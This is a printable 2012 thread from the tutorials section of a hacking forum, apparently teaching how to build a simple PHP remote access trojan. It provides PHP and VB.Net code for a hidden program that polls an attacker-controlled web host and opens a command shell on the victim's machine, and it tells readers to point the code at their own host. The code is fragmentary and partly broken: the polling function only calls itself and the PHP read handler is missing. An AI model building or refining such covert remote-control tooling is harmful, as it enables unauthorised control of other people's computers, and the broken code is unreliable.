![]() |
|
Make a PHP RAT - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Hacking (https://sinister.ly/Forum-Hacking) +--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials) +--- Thread: Make a PHP RAT (/Thread-Make-a-PHP-RAT) |
Make a PHP RAT - princeshama - 03-28-2012 1. Open notepad and paste this in. Code: <?php
$action = $_GET['action'];
$data = $_GET['data'];
//This will delete log when program reads command
if ($action == "delete"){
unlink("log.txt");
$new = fopen("log.txt", 'a');
fclose($new);
}Then save it as index.php. VB.Net Server Writing 1.Change quapacity of server form to 0% 2.Add this in Form_Load Code: 'This will hide form
Me.Hide
Me.Visible = FalseCode: 'This function will check commands
Public Function check()
check()
End Function4. Add this also in Form_Load: Code: 'This will "Thread" function "check"
Dim multithread = New System.Threading.Thread(AddressOf check)
multithread.Start()5. Now add this in function "check" : 'This will download data from server 'Make sure you add Imports System.Net Code: Dim web As New WebClient
Dim data = web.DownloadString("http://127.0.0.1/rat/index.php?action=read")
If data.ToString = "cmd" Then
Shell("cmd", AppWinStyle.NormalFocus)
'This will delete log
web.DownloadString("http://127.0.0.1/rat/index.php?action=delete")
End IfVB.Net Client Writing 1.Add this : 'This will set data to server 'Make sure you add Imports System.Net [/code]Dim web As New WebClient[/code] 2.Now add button and this in it : Code: web.DownloadString("http://127.0.0.1/rat/index.php?action=write&data=cmd")There you have it, you made a PHP RAT! Please note: Remember to change the website URL in your code to your website. You can use a free host RE: Make a PHP RAT - TheShadow1 - 03-30-2012 Give credit: www.crackhackforum.com/thread-203902-lastpost.html http://crystalrays.org/viewtopic.php?f=95&t=12663 |